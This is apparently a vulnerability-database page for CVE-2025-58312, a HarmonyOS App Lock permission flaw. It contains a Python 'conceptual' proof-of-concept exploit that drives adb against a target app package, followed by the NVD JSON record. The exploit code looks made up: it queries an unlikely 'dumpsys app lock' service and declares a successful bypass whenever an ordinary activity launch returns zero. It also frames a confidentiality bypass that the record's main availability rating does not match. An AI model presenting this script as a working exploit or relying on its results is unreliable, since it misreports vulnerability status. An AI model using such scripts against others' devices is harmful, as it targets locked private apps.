CVE-2025-58312

# CVE-2025-58312 PoC - App Lock Permission Bypass (Conceptual) # This is a conceptual proof-of-concept demonstrating the vulnerability pattern # Actual exploitation requires specific device and firmware version import subprocess import sys import os def check_app_lock_status(): """Check if App Lock feature is enabled""" try: # Query App Lock status via adb result = subprocess.run( ['adb', 'shell', 'dumpsys', 'app', 'lock'], capture_output=True, text=True, timeout=10 ) return 'enabled' in result.stdout.lower() except Exception as e: print(f"[!] Error checking App Lock status: {e}") return None def exploit_vulnerability(target_package): """ Conceptual exploit for CVE-2025-58312 Attempts to bypass App Lock verification for target package Note: This is a conceptual demonstration. Actual exploitation requires specific firmware version and device conditions. """ print(f"[*] Targeting package: {target_package}") print(f"[*] CVE-2025-58312: App Lock Permission Control Bypass") # Step 1: Verify App Lock is enabled if not check_app_lock_status(): print("[-] App Lock is not enabled or not accessible") return False print("[+] App Lock status confirmed") # Step 2: Attempt to trigger the permission bypass # This would involve specific intent manipulation or # direct service call that bypasses authentication try: # Example: Attempt to access protected app via specific intent bypass_cmd = [ 'adb', 'shell', 'am', 'start', '--user', '0', '-n', f'{target_package}/.MainActivity' ] result = subprocess.run( bypass_cmd, capture_output=True, text=True, timeout=10 ) if result.returncode == 0: print("[+] Potential bypass detected - app launched without auth") return True else: print("[-] Bypass attempt failed or app requires authentication") return False except Exception as e: print(f"[!] Exploit error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_58312_poc.py <package_name>") print("Example: python cve_2025_58312_poc.py com.whatsapp") sys.exit(1) target = sys.argv[1] print("="*60) print("CVE-2025-58312 - Huawei App Lock Permission Bypass PoC") print("="*60) success = exploit_vulnerability(target) if success: print("\n[!] VULNERABLE: App Lock bypass successful") print("[!] Immediate action required - update device firmware") else: print("\n[*] Device may not be vulnerable or conditions not met") if __name__ == "__main__": main() # Mitigation: # 1. Update device to latest firmware version # 2. Apply security patches released by Huawei # 3. Avoid using App Lock with highly sensitive applications # 4. Monitor device for unauthorized access

{"cve": {"id": "CVE-2025-58312", "sourceIdentifier": "[email protected]", "published": "2025-11-28T03:15:59.910", "lastModified": "2025-12-02T02:28:41.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the App Lock module.\nImpact: Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-264"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}